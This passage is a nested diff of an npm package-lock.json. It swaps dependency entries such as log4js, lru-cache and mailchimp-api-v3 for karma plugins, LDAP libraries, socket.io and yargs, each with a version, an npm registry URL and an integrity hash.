++ "integrity": "sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==",
++ "dev": true
++ },
++ "minimist": {
++ "version": "1.2.6",
++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz",
++ "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==",
++ "dev": true
++ },
++ "mkdirp": {
++ "version": "0.5.6",
++ "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz",
++ "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==",
+ "dev": true,
+ "requires": {
+- "color-convert": "^2.0.1"
++ "minimist": "^1.2.6"
+ }
+ },
+- "chalk": {
+- "version": "4.1.2",
+- "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+- "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
++ "rimraf": {
++ "version": "3.0.2",
++ "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
++ "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+ "dev": true,
+ "requires": {
+- "ansi-styles": "^4.1.0",
+- "supports-color": "^7.1.0"
++ "glob": "^7.1.3"
+ }
+ },
+- "supports-color": {
+- "version": "7.2.0",
+- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
++ "socket.io": {
++ "version": "4.4.1",
++ "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-4.4.1.tgz",
++ "integrity": "sha512-s04vrBswdQBUmuWJuuNTmXUVJhP0cVky8bBDhdkf8y0Ptsu7fKU2LuLbts9g+pdmAdyMMn8F/9Mf1/wbtUN0fg==",
+ "dev": true,
+ "requires": {
+- "has-flag": "^4.0.0"
++ "accepts": "~1.3.4",
++ "base64id": "~2.0.0",
++ "debug": "~4.3.2",
++ "engine.io": "~6.1.0",
++ "socket.io-adapter": "~2.3.3",
++ "socket.io-parser": "~4.0.4"
++ }
++ },
++ "source-map": {
++ "version": "0.6.1",
++ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
++ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
++ "dev": true
++ },
++ "yargs": {
++ "version": "16.2.0",
++ "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz",
++ "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==",
++ "dev": true,
++ "requires": {
++ "cliui": "^7.0.2",
++ "escalade": "^3.1.1",
++ "get-caller-file": "^2.0.5",
++ "require-directory": "^2.1.1",
++ "string-width": "^4.2.0",
++ "y18n": "^5.0.5",
++ "yargs-parser": "^20.2.2"
+ }
+ }
+ }
+ },
+- "log-update": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/log-update/-/log-update-4.0.0.tgz",
+- "integrity": "sha512-9fkkDevMefjg0mmzWFBW8YkFP91OrizzkW3diF7CpG+S2EYdy4+TVfGwz1zeF8x7hCx1ovSPTOE9Ngib74qqUg==",
++ "karma-chai-sinon": {
++ "version": "0.1.5",
++ "resolved": "https://registry.npmjs.org/karma-chai-sinon/-/karma-chai-sinon-0.1.5.tgz",
++ "integrity": "sha1-XDksqVJHgYlR1rV5AvAsNugDdTo=",
++ "dev": true,
++ "requires": {}
++ },
++ "karma-chrome-launcher": {
++ "version": "3.1.0",
++ "resolved": "https://registry.npmjs.org/karma-chrome-launcher/-/karma-chrome-launcher-3.1.0.tgz",
++ "integrity": "sha512-3dPs/n7vgz1rxxtynpzZTvb9y/GIaW8xjAwcIGttLbycqoFtI7yo1NGnQi6oFTherRE+GIhCAHZC4vEqWGhNvg==",
+ "dev": true,
+ "requires": {
+- "ansi-escapes": "^4.3.0",
+- "cli-cursor": "^3.1.0",
+- "slice-ansi": "^4.0.0",
+- "wrap-ansi": "^6.2.0"
++ "which": "^1.2.1"
+ },
+ "dependencies": {
+- "ansi-styles": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+- "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+- "dev": true,
+- "requires": {
+- "color-convert": "^2.0.1"
+- }
+- },
+- "wrap-ansi": {
+- "version": "6.2.0",
+- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-6.2.0.tgz",
+- "integrity": "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA==",
++ "which": {
++ "version": "1.3.1",
++ "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
++ "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+ "dev": true,
+ "requires": {
+- "ansi-styles": "^4.0.0",
+- "string-width": "^4.1.0",
+- "strip-ansi": "^6.0.0"
++ "isexe": "^2.0.0"
+ }
+ }
+ }
+ },
+- "log4js": {
+- "version": "6.4.1",
+- "resolved": "https://registry.npmjs.org/log4js/-/log4js-6.4.1.tgz",
+- "integrity": "sha512-iUiYnXqAmNKiIZ1XSAitQ4TmNs8CdZYTAWINARF3LjnsLN8tY5m0vRwd6uuWj/yNY0YHxeZodnbmxKFUOM2rMg==",
++ "karma-mocha": {
++ "version": "2.0.1",
++ "resolved": "https://registry.npmjs.org/karma-mocha/-/karma-mocha-2.0.1.tgz",
++ "integrity": "sha512-Tzd5HBjm8his2OA4bouAsATYEpZrp9vC7z5E5j4C5Of5Rrs1jY67RAwXNcVmd/Bnk1wgvQRou0zGVLey44G4tQ==",
+ "dev": true,
+ "requires": {
+- "date-format": "^4.0.3",
+- "debug": "^4.3.3",
+- "flatted": "^3.2.4",
+- "rfdc": "^1.3.0",
+- "streamroller": "^3.0.2"
++ "minimist": "^1.2.3"
++ },
++ "dependencies": {
++ "minimist": {
++ "version": "1.2.5",
++ "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
++ "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==",
++ "dev": true
++ }
+ }
+ },
+- "lolex": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/lolex/-/lolex-6.0.0.tgz",
+- "integrity": "sha512-ad9IBHbfVJ3bPAotDxnCgJgKcNK5/mrRAfbJzXhY5+PEmuBWP7wyHQlA6L8TfSfPlqlDjY4K7IG6mbzsrIBx1A==",
++ "karma-mocha-reporter": {
++ "version": "2.2.5",
++ "resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.5.tgz",
++ "integrity": "sha1-FRIAlejtgZGG5HoLAS8810GJVWA=",
+ "dev": true,
+ "requires": {
+- "@sinonjs/commons": "^1.7.0"
++ "chalk": "^2.1.0",
++ "log-symbols": "^2.1.0",
++ "strip-ansi": "^4.0.0"
++ },
++ "dependencies": {
++ "ansi-regex": {
++ "version": "3.0.0",
++ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
++ "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=",
++ "dev": true
++ },
++ "log-symbols": {
++ "version": "2.2.0",
++ "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz",
++ "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==",
++ "dev": true,
++ "requires": {
++ "chalk": "^2.0.1"
++ }
++ },
++ "strip-ansi": {
++ "version": "4.0.0",
++ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
++ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
++ "dev": true,
++ "requires": {
++ "ansi-regex": "^3.0.0"
++ }
++ }
+ }
+ },
+- "long": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz",
+- "integrity": "sha512-XsP+KhQif4bjX1kbuSiySJFNAehNxgLb6hPRGJ9QsUr8ajHkuXGdrHmFUTUUXhDwVX2R5bY4JNZEwbUiMhV+MA=="
++ "karma-requirejs": {
++ "version": "1.1.0",
++ "resolved": "https://registry.npmjs.org/karma-requirejs/-/karma-requirejs-1.1.0.tgz",
++ "integrity": "sha1-/driy4fX68FvsCIok1ZNf+5Xh5g=",
++ "dev": true,
++ "requires": {}
+ },
+- "loose-envify": {
+- "version": "1.4.0",
+- "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz",
+- "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==",
++ "keycode": {
++ "version": "2.2.1",
++ "resolved": "https://registry.npmjs.org/keycode/-/keycode-2.2.1.tgz",
++ "integrity": "sha512-Rdgz9Hl9Iv4QKi8b0OlCRQEzp4AgVxyCtz5S/+VIHezDmrDhkp2N2TqBWOLz0/gbeREXOOiI9/4b8BY9uw2vFg=="
++ },
++ "kind-of": {
++ "version": "6.0.3",
++ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
++ "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==",
++ "dev": true
++ },
++ "klaw": {
++ "version": "4.0.1",
++ "resolved": "https://registry.npmjs.org/klaw/-/klaw-4.0.1.tgz",
++ "integrity": "sha512-pgsE40/SvC7st04AHiISNewaIMUbY5V/K8b21ekiPiFoYs/EYSdsGa+FJArB1d441uq4Q8zZyIxvAzkGNlBdRw==",
++ "dev": true
++ },
++ "klaw-sync": {
++ "version": "6.0.0",
++ "resolved": "https://registry.npmjs.org/klaw-sync/-/klaw-sync-6.0.0.tgz",
++ "integrity": "sha512-nIeuVSzdCCs6TDPTqI8w1Yre34sSq7AkZ4B3sfOBbI2CgVSB4Du4aLQijFU2+lhAFCwt9+42Hel6lQNIv6AntQ==",
+ "requires": {
+- "js-tokens": "^3.0.0 || ^4.0.0"
++ "graceful-fs": "^4.1.11"
+ }
+ },
+- "loupe": {
+- "version": "2.3.1",
+- "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.1.tgz",
+- "integrity": "sha512-EN1D3jyVmaX4tnajVlfbREU4axL647hLec1h/PXAb8CPDMJiYitcWF2UeLVNttRqaIqQs4x+mRvXf+d+TlDrCA==",
++ "klona": {
++ "version": "2.0.5",
++ "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.5.tgz",
++ "integrity": "sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ==",
++ "dev": true
++ },
++ "language-subtag-registry": {
++ "version": "0.3.21",
++ "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.21.tgz",
++ "integrity": "sha512-L0IqwlIXjilBVVYKFT37X9Ih11Um5NEl9cbJIuU/SwP/zEEAbBPOnEeeuxVMf45ydWQRDQN3Nqc96OgbH1K+Pg==",
++ "dev": true
++ },
++ "language-tags": {
++ "version": "1.0.5",
++ "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.5.tgz",
++ "integrity": "sha1-0yHbxNowuovzAk4ED6XBRmH5GTo=",
+ "dev": true,
+ "requires": {
+- "get-func-name": "^2.0.0"
++ "language-subtag-registry": "~0.3.2"
+ }
+ },
+- "lower-case": {
++ "lazy-ass": {
++ "version": "1.6.0",
++ "resolved": "https://registry.npmjs.org/lazy-ass/-/lazy-ass-1.6.0.tgz",
++ "integrity": "sha1-eZllXoZGwX8In90YfRUNMyTVRRM=",
++ "dev": true
++ },
++ "lazy-cache": {
+ "version": "2.0.2",
+- "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz",
+- "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==",
++ "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-2.0.2.tgz",
++ "integrity": "sha1-uRkKT5EzVGlIQIWfio9whNiCImQ=",
+ "dev": true,
+ "requires": {
+- "tslib": "^2.0.3"
++ "set-getter": "^0.1.0"
+ }
+ },
+- "lowercase-keys": {
++ "lazystream": {
+ "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz",
+- "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA=="
+- },
+- "lru_map": {
+- "version": "0.3.3",
+- "resolved": "https://registry.npmjs.org/lru_map/-/lru_map-0.3.3.tgz",
+- "integrity": "sha1-tcg1G5Rky9dQM1p5ZQoOwOVhGN0="
+- },
+- "lru-cache": {
+- "version": "5.1.1",
+- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz",
+- "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==",
+- "requires": {
+- "yallist": "^3.0.2"
+- }
+- },
+- "lru-cache-for-clusters-as-promised": {
+- "version": "1.7.4",
+- "resolved": "https://registry.npmjs.org/lru-cache-for-clusters-as-promised/-/lru-cache-for-clusters-as-promised-1.7.4.tgz",
+- "integrity": "sha512-7A+O3nSLQZua1Et9MTuKP7Tl7Zo2L5OucBafTsmAXHQ7M9whxforWoM2RsX25sP3HmaVwF7D7Eg64o6iqAuZkw==",
++ "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz",
++ "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==",
+ "requires": {
+- "cron": "1.8.2",
+- "debug": "4.3.3",
+- "lru-cache": "6.0.0",
+- "uuid": "8.3.2"
++ "readable-stream": "^2.0.5"
+ },
+ "dependencies": {
+- "lru-cache": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+- "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
++ "isarray": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
++ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
++ },
++ "readable-stream": {
++ "version": "2.3.7",
++ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
++ "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+ "requires": {
+- "yallist": "^4.0.0"
++ "core-util-is": "~1.0.0",
++ "inherits": "~2.0.3",
++ "isarray": "~1.0.0",
++ "process-nextick-args": "~2.0.0",
++ "safe-buffer": "~5.1.1",
++ "string_decoder": "~1.1.1",
++ "util-deprecate": "~1.0.1"
+ }
+ },
+- "uuid": {
+- "version": "8.3.2",
+- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="
+- },
+- "yallist": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
+- "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
++ "string_decoder": {
++ "version": "1.1.1",
++ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
++ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
++ "requires": {
++ "safe-buffer": "~5.1.0"
++ }
+ }
+ }
+ },
+- "lru-queue": {
+- "version": "0.1.0",
+- "resolved": "https://registry.npmjs.org/lru-queue/-/lru-queue-0.1.0.tgz",
+- "integrity": "sha1-Jzi9nw089PhEkMVzbEhpmsYyzaM=",
+- "dev": true,
++ "ldap-escape": {
++ "version": "2.0.6",
++ "resolved": "https://registry.npmjs.org/ldap-escape/-/ldap-escape-2.0.6.tgz",
++ "integrity": "sha512-M0mZojh0QIDSDkA0+M5Zopqz3Ku5DNs1/Q8VqWO5l3Pjx1J2p71c9WksQIDQQKmd1XkV3N2NZFwcBFLJSm1l1w==",
++ "dev": true
++ },
++ "ldap-filter": {
++ "version": "0.2.2",
++ "resolved": "https://registry.npmjs.org/ldap-filter/-/ldap-filter-0.2.2.tgz",
++ "integrity": "sha1-8rhCvguG2jNSeYUFsx68rlkNd9A=",
+ "requires": {
+- "es5-ext": "~0.10.2"
++ "assert-plus": "0.1.5"
+ }
+ },
+- "lz-string": {
+- "version": "1.4.4",
+- "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.4.4.tgz",
+- "integrity": "sha1-wNjq82BZ9wV5bh40SBHPTEmNOiY=",
+- "dev": true
+- },
+- "mailchimp-api-v3": {
+- "version": "1.15.0",
+- "resolved": "https://registry.npmjs.org/mailchimp-api-v3/-/mailchimp-api-v3-1.15.0.tgz",
+- "integrity": "sha512-9TxCFG+VRpl14HOHgABHYmC5GvpCY7LYqyTefOXd4GtI07oXCiJ7W5fEvk3SJKBctlbjhKbzjB5qOZMQpacEUQ==",
++ "ldapauth-fork": {
++ "version": "4.3.3",
++ "resolved": "https://registry.npmjs.org/ldapauth-fork/-/ldapauth-fork-4.3.3.tgz",
++ "integrity": "sha512-x76VpQ5ZqkwAJmqwcD6KIwDiNEbgIGIPGwC/eA17e1dxWhlTx36w0DlLOFwjTuZ2iuaLTsZsUprlVqvSlwc/1Q==",
+ "requires": {
+- "bluebird": "^3.4.0",
+- "lodash": "^4.17.14",
+- "request": "^2.88.0",
+- "tar": "^4.0.2"
++ "@types/ldapjs": "^1.0.0",
++ "@types/node": "*",
++ "bcryptjs": "^2.4.0",
++ "ldapjs": "^1.0.2",
++ "lru-cache": "^5.1.1"
+ },
+ "dependencies": {
+- "fs-minipass": {
+- "version": "1.2.7",
+- "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-1.2.7.tgz",
+- "integrity": "sha512-GWSSJGFy4e9GUeCcbIkED+bgAoFyj7XF1mV8rma3QW4NIqX9Kyx79N/PF61H5udOV3aY1IaMLs6pGbH71nlCTA==",
+- "requires": {
+- "minipass": "^2.6.0"
+- }
++ "asn1": {
++ "version": "0.2.3",
++ "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz",
++ "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y="
+ },
+- "minimist": {
+- "version": "1.2.5",
+- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
+- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
++ "assert-plus": {
++ "version": "1.0.0",
++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
++ "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU="
+ },
+- "minipass": {
+- "version": "2.9.0",
+- "resolved": "https://registry.npmjs.org/minipass/-/minipass-2.9.0.tgz",
+- "integrity": "sha512-wxfUjg9WebH+CUDX/CdbRlh5SmfZiy/hpkxaRI16Y9W56Pa75sWgd/rvFilSgrauD9NyFymP/+JFV3KwzIsJeg==",
++ "extsprintf": {
++ "version": "1.2.0",
++ "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.2.0.tgz",
++ "integrity": "sha1-WtlGwi9bMrp/jNdCZxHG6KP8JSk="
++ },
++ "ldapjs": {
++ "version": "1.0.2",
++ "resolved": "https://registry.npmjs.org/ldapjs/-/ldapjs-1.0.2.tgz",
++ "integrity": "sha1-VE/3Ayt7g8aPBwEyjZKXqmlDQPk=",
+ "requires": {
+- "safe-buffer": "^5.1.2",
+- "yallist": "^3.0.0"
++ "asn1": "0.2.3",
++ "assert-plus": "^1.0.0",
++ "backoff": "^2.5.0",
++ "bunyan": "^1.8.3",
++ "dashdash": "^1.14.0",
++ "dtrace-provider": "~0.8",
++ "ldap-filter": "0.2.2",
++ "once": "^1.4.0",
++ "vasync": "^1.6.4",
++ "verror": "^1.8.1"
+ }
+ },
+- "minizlib": {
+- "version": "1.3.3",
+- "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-1.3.3.tgz",
+- "integrity": "sha512-6ZYMOEnmVsdCeTJVE0W9ZD+pVnE8h9Hma/iOwwRDsdQoePpoX56/8B6z3P9VNwppJuBKNRuFDRNRqRWexT9G9Q==",
++ "vasync": {
++ "version": "1.6.4",
++ "resolved": "https://registry.npmjs.org/vasync/-/vasync-1.6.4.tgz",
++ "integrity": "sha1-3+k2Fq0OeugBszKp2Iv8XNyOHR8=",
+ "requires": {
+- "minipass": "^2.9.0"
++ "verror": "1.6.0"
++ },
++ "dependencies": {
++ "verror": {
++ "version": "1.6.0",
++ "resolved": "https://registry.npmjs.org/verror/-/verror-1.6.0.tgz",
++ "integrity": "sha1-fROyex+swuLakEBetepuW90lLqU=",
++ "requires": {
++ "extsprintf": "1.2.0"
++ }
++ }
+ }
+- },
+- "mkdirp": {
+- "version": "0.5.5",
+- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
+- "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
++ }
++ }
++ },
++ "ldapjs": {
++ "version": "0.7.1",
++ "resolved": "https://registry.npmjs.org/ldapjs/-/ldapjs-0.7.1.tgz",
++ "integrity": "sha1-aEeYpodkC6sa+9gCz1MvMEkt+1Y=",
++ "requires": {
++ "asn1": "0.2.1",
++ "assert-plus": "0.1.5",
++ "bunyan": "0.22.1",
++ "dtrace-provider": "0.2.8",
++ "nopt": "2.1.1",
++ "pooling": "0.4.6"
++ },
++ "dependencies": {
++ "bunyan": {
++ "version": "0.22.1",
++ "resolved": "https://registry.npmjs.org/bunyan/-/bunyan-0.22.1.tgz",
++ "integrity": "sha1-Agw4O+1iWvXGyINN2MSsoN0Pdlw=",
+ "requires": {
+- "minimist": "^1.2.5"
++ "dtrace-provider": "0.2.8",
++ "mv": "0.0.5"
+ }
+ },
+- "safe-buffer": {
+- "version": "5.2.1",
+- "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+- "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ=="
++ "dtrace-provider": {
++ "version": "0.2.8",
++ "resolved": "https://registry.npmjs.org/dtrace-provider/-/dtrace-provider-0.2.8.tgz",
++ "integrity": "sha1-4kPxkhmqlfvw2PL/sH9b1k6U/iA=",
++ "optional": true
+ },
+- "tar": {
+- "version": "4.4.19",
+- "resolved": "https://registry.npmjs.org/tar/-/tar-4.4.19.tgz",
+- "integrity": "sha512-a20gEsvHnWe0ygBY8JbxoM4w3SJdhc7ZAuxkLqh+nvNQN2IOt0B5lLgM490X5Hl8FF0dl0tOf2ewFYAlIFgzVA==",
++ "mv": {
++ "version": "0.0.5",
++ "resolved": "https://registry.npmjs.org/mv/-/mv-0.0.5.tgz",
++ "integrity": "sha1-FerHWUeYhN8RMdbeVrziC2VPU5E=",
++ "optional": true
++ },
++ "nopt": {
++ "version": "2.1.1",
++ "resolved": "https://registry.npmjs.org/nopt/-/nopt-2.1.1.tgz",
++ "integrity": "sha1-ket8SwF+fACtytH9bWOUTQ/bdcE=",
+ "requires": {
+- "chownr": "^1.1.4",
+- "fs-minipass": "^1.2.7",
+- "minipass": "^2.9.0",
+- "minizlib": "^1.3.3",
+- "mkdirp": "^0.5.5",
+- "safe-buffer": "^5.2.1",
+- "yallist": "^3.1.1"
++ "abbrev": "1"
+ }
+ }
+ }
+ },
+- "make-dir": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-2.1.0.tgz",
+- "integrity": "sha512-LS9X+dc8KLxXCb8dni79fLIIUA5VyZoyjSMCwTluaXA0o27cCK0bhXkpgw+sTXVpPy/lSO57ilRixqk0vDmtRA==",
++ "ldapts": {
++ "version": "3.2.4",
++ "resolved": "https://registry.npmjs.org/ldapts/-/ldapts-3.2.4.tgz",
++ "integrity": "sha512-33QJQglDdAdwOWMy7E8T4BQYizAAsH+jalAVg+9xUE4SQhenezRa2mSgH5s9jRfz0fxw3GP6f8GeqX0+tfqMeQ==",
++ "dev": true,
+ "requires": {
+- "pify": "^4.0.1",
+- "semver": "^5.6.0"
++ "@types/asn1": ">=0.2.0",
++ "@types/node": ">=12.13",
++ "@types/uuid": ">=8",
++ "asn1": "~0.2.6",
++ "debug": "~4.3.4",
++ "strict-event-emitter-types": "~2.0.0",
++ "uuid": "~8.3.2"
+ },
+ "dependencies": {
+- "pify": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+- "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
++ "asn1": {
++ "version": "0.2.6",
++ "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
++ "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
++ "dev": true,
++ "requires": {
++ "safer-buffer": "~2.1.0"
++ }
+ },
+- "semver": {
+- "version": "5.7.1",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
+- }
+- }
+- },
+- "make-error": {
+- "version": "1.3.6",
+- "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz",
+- "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw=="
+- },
+- "make-iterator": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/make-iterator/-/make-iterator-1.0.1.tgz",
+- "integrity": "sha512-pxiuXh0iVEq7VM7KMIhs5gxsfxCux2URptUQaXo4iZZJxBAzTPOLE2BumO5dbfVYq/hBJFBR/a1mFDmOx5AGmw==",
+- "requires": {
+- "kind-of": "^6.0.2"
++ "debug": {
++ "version": "4.3.4",
++ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
++ "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
++ "dev": true,
++ "requires": {
++ "ms": "2.1.2"
++ }
++ },
++ "ms": {
++ "version": "2.1.2",
++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
++ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
++ "dev": true
++ },
++ "uuid": {
++ "version": "8.3.2",
